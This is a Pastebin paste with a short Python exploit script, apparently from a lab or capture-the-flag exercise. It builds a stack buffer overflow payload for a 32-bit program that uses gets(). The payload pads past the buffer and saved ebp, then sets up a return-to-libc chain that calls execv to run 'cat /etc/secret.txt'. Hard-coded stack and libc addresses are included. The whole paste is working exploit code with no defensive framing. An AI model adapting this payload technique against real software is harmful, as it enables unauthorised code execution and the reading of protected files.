Advertisement
Guest User

Untitled

a guest
Oct 1st, 2016
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.19 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import sys
  3. import struct
  4. import subprocess
  5. import re
  6. import resource
  7.  
  8. # Command to execute
  9. command = [b"/usr/bin/cat", "/etc/secret.txt"]
  10.  
  11.  
  12. # Padding to overflow buffer + ebp so the next value on the stack is the return address
  13. padding = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQR"
  14. assert len(padding) == 44, "padding should be 44 bytes long"
  15.  
  16. # Stack (esp at time right before leave/ret function exit)
  17. #
  18. # [datap] arguments for first function
  19. # 4 bytes: 2nd return address
  20. # [esp] 4 bytes: return address
  21. # 4 bytes: old value of ebp
  22. # 40 bytes: size of gets() buffer
  23. esp = 0xffffd5ac
  24. datap = esp + 16
  25. return_address = 0xf7ed0ff0 # execv
  26.  
  27. # Build data
  28. data = b""
  29. for arg in command: data += arg + '\0'
  30.  
  31. data_len = 0
  32. for arg in command:
  33. data += struct.pack("@I", datap + data_len)
  34. data_len += len(arg) + 1
  35. data += struct.pack("@I", 0)
  36.  
  37. # Build the stack
  38. stack = struct.pack("@I", return_address)
  39. stack += struct.pack("@I", 0xdeadbeef)
  40. stack += struct.pack("@I", datap)
  41. stack += struct.pack("@I", datap + data_len)
  42.  
  43. assert datap == len(stack) + esp, "data pointer should point to stack above arguments"
  44. stack += data
  45.  
  46. sys.stdout.write(padding + stack)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement